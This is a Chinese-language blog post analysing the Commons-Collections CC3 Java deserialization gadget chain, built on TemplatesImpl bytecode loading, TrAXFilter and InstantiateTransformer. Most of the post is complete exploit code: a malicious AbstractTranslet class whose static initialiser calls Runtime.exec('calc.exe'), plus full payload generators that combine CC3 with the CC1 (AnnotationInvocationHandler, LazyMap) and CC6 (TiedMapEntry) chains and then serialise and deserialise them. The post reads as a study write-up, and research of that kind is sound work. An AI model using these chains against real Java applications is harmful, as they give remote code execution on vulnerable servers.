Java反序列化CC3链
本文最后更新于 6 天前,其中的信息可能已经有所发展或是发生改变。

涉及前置知识

类的加载机制

在java动态加载字节码中写到过

java文件的编译,java文件编译过程包括

.java源代码->词法分析->语法分析->语义分析->注释处理->字节码生成->.class文件

类加载过程有包括

类加载器->查找字节码->读取字节流->方法区存储->创建Class对象

环境配置

jdk8u65
Commons-Collections <= 3.2.1

分析

首先我们的入手点事defineClass()他只加载类,但是不执行类

同时ClassLoader类里面的defineClass方法是私有的,我们需要找到公有或default类型的,其中我们跟随到Templateslmpl类中有一个default类型的defineClass方法

 Class defineClass(final byte[] b) {
          return defineClass(null, b, 0, b.length);
}

看到本类的调用到了此方法

defineTransletClasses

private void defineTransletClasses()
      throws TransformerConfigurationException {

      if (_bytecodes == null) {
          ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
          throw new TransformerConfigurationException(err.toString());
      }

      TransletClassLoader loader = (TransletClassLoader)
          AccessController.doPrivileged(new PrivilegedAction() {
              public Object run() {
                  return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
              }
          });

      try {
          final int classCount = _bytecodes.length;
          _class = new Class[classCount];

          if (classCount > 1) {
              _auxClasses = new HashMap<>();
          }

          for (int i = 0; i < classCount; i++) {
              _class[i] = loader.defineClass(_bytecodes[i]);
              final Class superClass = _class[i].getSuperclass();

              // Check if this is the main class
              if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                  _transletIndex = i;
              }
              else {
                  _auxClasses.put(_class[i].getName(), _class[i]);
              }
          }

要求是__name不为null并且__class为null

可以看到这个一直在跟的所有方法都在同一个类中,只要找到公开的即可,继续跟进

newTransformer()

public synchronized Transformer newTransformer()
      throws TransformerConfigurationException
  {
      TransformerImpl transformer;

      transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
          _indentNumber, _tfactory);

      if (_uriResolver != null) {
          transformer.setURIResolver(_uriResolver);
      }

      if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
          transformer.setSecureProcessing(true);
      }
      return transformer;
  }

找到了public方法,我们可以直接调用

所以我们的链子是

TemplatesImpl::newTransformer()->TemplatesImpl::getTransletInstance()->TemplatesImpl::defineTransletClasses()->TemplatesImpl::defineClass()->执行代码

构造POC

newTransformer()不需要什么条件就能直接调用到getTransletlnstance

跟进到getTransletlnstance方法

private Translet getTransletInstance()
      throws TransformerConfigurationException {
      try {
          if (_name == null) return null;

          if (_class == null) defineTransletClasses();

          // The translet needs to keep a reference to all its auxiliary
          // class to prevent the GC from collecting them
          AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
          translet.postInitialization();
          translet.setTemplates(this);
          translet.setServicesMechnism(_useServicesMechanism);
          translet.setAllowedProtocols(_accessExternalStylesheet);
          if (_auxClasses != null) {
              translet.setAuxiliaryClasses(_auxClasses);
          }

          return translet;
      }
      catch (InstantiationException e) {
          ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
          throw new TransformerConfigurationException(err.toString());
      }
      catch (IllegalAccessException e) {
          ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
          throw new TransformerConfigurationException(err.toString());
      }
  }

还是上面说过的问题

__name需要赋值__class不能赋值

然后满足条件后会调用到defineTransletClasses,跟进

private void defineTransletClasses()
      throws TransformerConfigurationException {

      if (_bytecodes == null) {
          ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
          throw new TransformerConfigurationException(err.toString());
      }

      TransletClassLoader loader = (TransletClassLoader)
          AccessController.doPrivileged(new PrivilegedAction() {
              public Object run() {
                  return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
              }
          });

      try {
          final int classCount = _bytecodes.length;
          _class = new Class[classCount];

          if (classCount > 1) {
              _auxClasses = new HashMap<>();
          }

          for (int i = 0; i < classCount; i++) {
              _class[i] = loader.defineClass(_bytecodes[i]);
              final Class superClass = _class[i].getSuperclass();

              // Check if this is the main class
              if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                  _transletIndex = i;
              }
              else {
                  _auxClasses.put(_class[i].getName(), _class[i]);
              }
          }

          if (_transletIndex < 0) {
              ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
              throw new TransformerConfigurationException(err.toString());
          }
      }
      catch (ClassFormatError e) {
          ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
          throw new TransformerConfigurationException(err.toString());
      }
      catch (LinkageError e) {
          ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
          throw new TransformerConfigurationException(err.toString());
      }
  }

_bytecodes需要赋值,_tfactory 需要赋值

我们这里编写exp

需要通过反射对_name_bytecodes_tfactory赋值

其中对于_bytecodes 的值,这里需要的是[][]但是_bytecodes 作为传递进 defineClass 方法的值是一个一维数组。而这个一维数组里面我们需要存放恶意的字节码

这里我们可以这么进行赋值

byte[] evil = Files.readAllBytes(Paths.get("evil.class"));  
byte[][] codes = {evil};

先写一个dome,但是报错了

package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test1 {
  public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException {
      TemplatesImpl templates = new TemplatesImpl();
      Class<?> c = templates.getClass();

      //给_name进行赋值
      Field _name = c.getDeclaredField("_name");
      _name.setAccessible(true);
      _name.set(templates,"a");

      //给_bytecodes赋值
      Field _bytecodes = c.getDeclaredField("_bytecodes");
      _bytecodes.setAccessible(true);
      byte[] evilCode = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));//字节码文件的位置
      byte[][] codes = {evilCode};
      _bytecodes.set(templates,codes);
      templates.newTransformer();

  }
}

打断点我们可以看到这个并没有通过

我们需要设置_tfactory

有一个修饰符transient,代表此属性是不能被序列化的,就是反序列化不能给他赋值,只要_tfactory不为null就可以

readObject里有赋值语句_tfactory = new TransformerFactoryImpl(); 所以直接在反射中将其赋值为 TransformerFactortImpl 即可

package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test1 {
  public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, TransformerConfigurationException {
      TemplatesImpl templates = new TemplatesImpl();
      Class<?> c = templates.getClass();

      //给_name进行赋值
      Field _name = c.getDeclaredField("_name");
      _name.setAccessible(true);
      _name.set(templates,"a");

      //给_bytecodes赋值
      Field _bytecodes = c.getDeclaredField("_bytecodes");
      _bytecodes.setAccessible(true);
      byte[] evilCode = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));//字节码文件的位置
      byte[][] codes = {evilCode};
      _bytecodes.set(templates,codes);

      setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
      templates.newTransformer();
  }
  public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
      Class c = object.getClass();
      Field field = c.getDeclaredField(field_name);
      field.setAccessible(true);
      field.set(object, field_value);
  }
}

我的恶意类

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class asd extends AbstractTranslet {
  public void transform(DOM document, SerializationHandler[] handlers)
          throws TransletException {}
  public void transform(DOM document, DTMAxisIterator iterator,
                        SerializationHandler handler) throws TransletException {}
  public asd() {
      super();
      System.out.println("Hello TemplatesImpl");
  }
  static {
      try {
          Runtime.getRuntime().exec("calc.exe");
      } catch (Exception e) {}
  }
}

这里如果由于恶意类报错的可能原因是

需要我们的字节码必须是 Translet 子类,我们的恶意类必须直接或间接继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
AbstractTranslet是抽象类,所以我们要实现它所有的抽象方法,所以我们加上就可以

扩展

我们继续扩展一下

我们现在有两条路子,一条是找什么触发了newTransformer() 另一条是找transform方法

要执行TemplatesImpl.newTransformer() 方法

.java中找到了,并且是public属性,参数可控

但是此类不能被序列化,只能从他Class入口通过构造赋值

public TrAXFilter(Templates templates)  throws
      TransformerConfigurationException
  {
      _templates = templates;
      _transformer = (TransformerImpl) templates.newTransformer();
      _transformerHandler = new TransformerHandlerImpl(_transformer);
      _useServicesMechanism = _transformer.useServicesMechnism();
  }

这里调用了一个新的类InstantiateTransformer

    public Object transform(Object input) {
      try {
          if (input instanceof Class == false) {
              throw new FunctorException(
                  "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                      + (input == null ? "null object" : input.getClass().getName()));
          }
          Constructor con = ((Class) input).getConstructor(iParamTypes);
          return con.newInstance(iArgs);

他会判断参数是否为Class类型,然后会获取这个指定参数类型的Class,然后调用它的构造函数.newinstance()实例化

所以我们可以通过InstantiateTransformer.transform() 获取 TrAXFilter类构造器并初始化实现templates.newTransformer()

package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test4 {
  public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
      TemplatesImpl templates = new TemplatesImpl();
      setFieldValue(templates,"_name","empty");

      byte[] code = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));
      byte[][] codes = {code};
      setFieldValue(templates,"_bytecodes",codes);

      setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

      //templates.newTransformer();

      InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
      instantiateTransformer.transform(TrAXFilter.class);


  }

  public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
      Class clazz=object.getClass();
      Field declaredField=clazz.getDeclaredField(field_name);
      declaredField.setAccessible(true);
      declaredField.set(object,filed_value);
  }

  public static void serialize(Object o) throws IOException {
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc3.bin"));
      oos.writeObject(o);
  }
  public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
      return ois.readObject();
  }
}

这是对于CC3本身来说

与CC1结合

我们通过CC1的sink点 通过transform反射调用 TemplatesImpl.newTransformer()

只是最后命令执行方式,就是链子会变长一些

package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class test5 {
  public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
      TemplatesImpl templates = new TemplatesImpl();
      setFieldValue(templates,"_name","empty");
      byte[] code = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));
      byte[][] codes = {code};
      setFieldValue(templates,"_bytecodes",codes);
      setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

      //templates.newTransformer();
      Transformer[] transformers = new Transformer[]{
              new ConstantTransformer(templates),
              new InvokerTransformer("newTransformer", null,null),
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      //chainedTransformer.transform(1);
      HashMap<Object,Object> map = new HashMap<>();
      Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

      Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
      annotationInvocationhdlConstructor.setAccessible(true);
      InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

      Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);

      Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);
      //serialize(o);
      unserialize("cc3_templatesImpl.bin");
  }

  public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
      Class clazz=object.getClass();
      Field declaredField=clazz.getDeclaredField(field_name);
      declaredField.setAccessible(true);
      declaredField.set(object,filed_value);
  }

  public static void serialize(Object o) throws IOException {
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc3_templatesImpl.bin"));
      oos.writeObject(o);
  }
  public static void unserialize(String filename) throws IOException, ClassNotFoundException {
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
      ois.readObject();
  }
}

CC6链子结合

根据链子可以看到是利用CC6的sink,可以直接触发调用Templateslmpl.newTransformer()

package CC3;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class test6 {
  public static void main(String[] args) throws Exception {
      TemplatesImpl templates = new TemplatesImpl();
      setFieldValue(templates,"_name","a");

      byte[] code = Files.readAllBytes(Paths.get("F:\\java研究文件\\Question\\src\\main\\java\\org\\example\\asd.class"));
      byte[][] codes = {code};
      setFieldValue(templates,"_bytecodes",codes);

      setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//       templates.newTransformer();

      InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//       instantiateTransformer.transform(TrAXFilter.class);
      Transformer[] transformers = new Transformer[] {
              new ConstantTransformer(TrAXFilter.class),
              instantiateTransformer
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(),new ConstantTransformer("1"));

      TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"2");
      HashMap<Object,Object> hashmap = new HashMap<>();
      hashmap.put(tiedMapEntry, "3");
      lazyMap.remove("2");

      //反射修改值
      Class<LazyMap> lazyMapClass = LazyMap.class;
      Field factory = lazyMapClass.getDeclaredField("factory");
      factory.setAccessible(true);
      factory.set(lazyMap, chainedTransformer);

      serialize(hashmap);
      unserialize("CC3.txt");
  }
  public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
      Class c = object.getClass();
      Field field = c.getDeclaredField(field_name);
      field.setAccessible(true);
      field.set(object, field_value);
  }
  //定义序列化操作
  public static void serialize(Object object) throws IOException{
      ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC3.txt"));
      oos.writeObject(object);
      oos.close();
  }

  //定义反序列化操作
  public static void unserialize(String filename) throws IOException, ClassNotFoundException{
      ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
      ois.readObject();
  }
}

总结

对这几个链子自己画了一下

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇